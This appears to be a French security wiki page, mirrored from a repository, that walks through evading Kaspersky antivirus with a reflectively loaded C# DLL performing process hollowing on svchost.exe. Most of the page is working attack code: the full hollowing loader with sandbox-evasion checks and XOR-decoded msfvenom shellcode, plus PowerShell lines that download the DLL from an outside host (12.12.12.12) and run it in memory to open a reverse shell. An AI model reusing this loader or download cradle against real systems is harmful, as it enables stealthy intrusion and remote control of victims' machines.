1
0
Bifurcation 0
miroir de https://github.com/PAPAMICA/Wiki-Tech.io.git synchronisé 2024-09-20 14:45:36 +02:00
Wiki-Tech.io/Sécurité/Pentest/Process-Hollowing.md

244 lignes
No EOL
11 Kio
Markdown

---
title: Process Hollowing
description: On mets Kaspersky en PLS
published: true
date: 2021-08-18T10:10:07.494Z
tags: sécurité, anti-virus, c#, powershell
editor: markdown
dateCreated: 2021-08-18T09:52:51.760Z
---
# REFLECTIVE LOAD & PROCESS HOLLOWING
En ce moment, pour ma future certification, je craft des malwares et j'apprends aussi à bypass les EDR.
J'ai donc décidé de mettre à l'épreuve mon AV : le fameux ***Kasperski Anti-Virus***.
***Spoiler : c'est de la m*******.
Pour commencer, on va faire un peu de théorie.
> ## METASPLOIT
> Framework d'exploitation / intrusion d'un SI. Permet de générer des shellcodes/payloads.
{.is-info}
> ## SHELLCODE
> Code malveillant détournant l'application de son fonctionnement d'origine, généralement écrit dans un language d'Assemblage
{.is-info}
> ## PAYLOAD
> La commande malveillante qu'on veut exécuter sur la machine cible. Un simple listing de répertoire peut être considéré comme un payload. Parfois payload et shellcode sont confondus, car une fois l'application cible détournée, on peut de suite exécuter ce qu'on veut.
{.is-info}
> ## STAGED / NON STAGED
> Dans metasploit, un staged payload est un payload découpé en plusieurs parties. Le code est chargé bout par bout, à l'inverse du non-staged qui est chargé en entier.
{.is-info}
> ## PROCESS HOLLOWING
> Cette technique consiste à créer un processus, le mettre dans un état suspendu, remplacer le code dans son entrypoint par du code malveillant. Ici ça sera un payload/shellcode généré par metasploit.
{.is-info}
> ## REFLECTION
> Charger du code managé (ici en C#) dans la mémoire pour appeler dynamiquement ces classes et méthodes. On peut donc charger du code C# pré-compilé et appeler ces fonctions (.exe, .dll etc... tant que c'est du C#/.NET).
{.is-info}
## KASPERSKY PWN PLAN
Maintenant qu'on sait tout ça, on attaque.
Ce qu'on va faire :
1. On va générer notre shellcode et on prépare l'écoute
2. Créer une DLL qui, lors de l'appel, spawn un process svchost puis insère du code à son entrypoint. En plus, svchost est connu pour communiquer sur le réseau.
3. Charger la DLL via powershell, sans rien écrire sur le disque.
## C'EST PARTI
- Premièrement, on va compiler notre assembly en x64 (Ici on va faire une DLL, mais ça aurait très bien pu être un exécutable classique).
```csharp
using System;
using System.Runtime.InteropServices;
namespace Assembly
{
public class Class1
{
public const uint CREATE_SUSPENDED = 0x4;
public const int PROCESSBASICINFORMATION = 0;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct ProcessInfo
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 ProcessId;
public Int32 ThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct StartupInfo
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct ProcessBasicInfo
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
//On charge les api windaube
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
int dwSize, out IntPtr lpNumberOfbytesRW);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
public static void runner ()
{
//petit timer pour check si il y a un AV.Les AV accèlerent les wait, donc si le temps est différent, avant/après le wait, on quite
DateTime t1 = DateTime.Now;
Sleep(2000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5)
{
return;
}
//Les AV savent pas gérer les native API. Du coup souvent ça retourne une erreur. Si c'est le cas, on quitte
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if (mem == null)
{
return;
}
byte[] buf = new byte[585] {
//shellcode généré avec msfvenom
};
//Ici les choses compliqués commencent, mais pour faire simple, on lance svchost dans un état suspendu, on trouve son entrypoint, on remplace par notre shellcode et on resume son execution
StartupInfo sInfo = new StartupInfo();
ProcessInfo pInfo = new ProcessInfo();
bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");
ProcessBasicInfo pbInfo = new ProcessBasicInfo();
uint retLen = new uint();
long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");
byte[] procAddr = new byte[0x8];
byte[] dataBuf = new byte[0x200];
IntPtr bytesRW = new IntPtr();
bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);
IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);
Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");
uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");
uint rvaOffset = e_lfanew + 0x28;
Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");
uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");
IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");
//J'ai chiffré le shellcode avec du XOR, et je le déchiffre ici
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfb);
}
result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);
Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");
uint rResult = ResumeThread(pInfo.hThread);
Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");
}
}
}
```
- Une fois compilé, on host ça sur un petit serveur web. Je l'ai nommé "Assembly".
- On prépare metasploit pour l'écoute. On force le chiffrement des différents stages.
- Avec PowerShell, on charge l'assembly en mémoire et on exécute la methode runner définie dans l'assembly.
```powershell
#On charge la DLL depuis un emplacement web. Il va être stocké automatiquement dans un array de type byte
$data = (New-Object System.Net.WebClient).DownloadData('http://12.12.12.12/Assembly')
#On charge l'assembly depuis la memoire
$assem = [System.Reflection.Assembly]::Load($data)
#On définit le namespace + classe
$class = $assem.GetType("Assembly.Class1")
#On définit la methode runner
$method = $class.GetMethod("runner")
#On invoke la methode runner avec les arguments si nécéssaire
$method.Invoke(0, $null)
```
- Et hop ! On a un reverse shell. L'AV n'as rien vu venir. Je vous laisse admirer les screenshots.
> On va s'ouvrir une grenadine parce que on est des H4xxXX00rrrs !
{.is-success}
![metasploit.png](/Sécurité/metasploit.png)
![posh.png](/Sécurité/posh.png)
## CONCLUSION
> Faut investir dans un EDR. Les AV ont tendance à être perdus quand il n'y a rien sur le disque.
{.is-warning}
> Le C# (.NET/PowerShell) c'est super puissant pour péter du Windows.
{.is-warning}
> Disk is lava !
{.is-danger}
## SOURCES
- https://security.stackexchange.com/questions/167579/what-is-the-difference-between-a-payload-and-shellcode
- https://www.c-sharpcorner.com/UploadFile/84c85b/using-reflection-with-C-Sharp-net/
- https://www.c-sharpcorner.com/UploadFile/78607b/what-is-assembly/#:~:text=by%20the%20CLR.-,An%20Assembly%20is%20a%20basic%20building%20block%20of%20.,a%20logical%20unit%20of%20functionality.
- https://attack.mitre.org/techniques/T1055/012/
- https://fr.wikipedia.org/wiki/Metasploit
- https://github.com/chvancooten/OSEP-Code-Snippets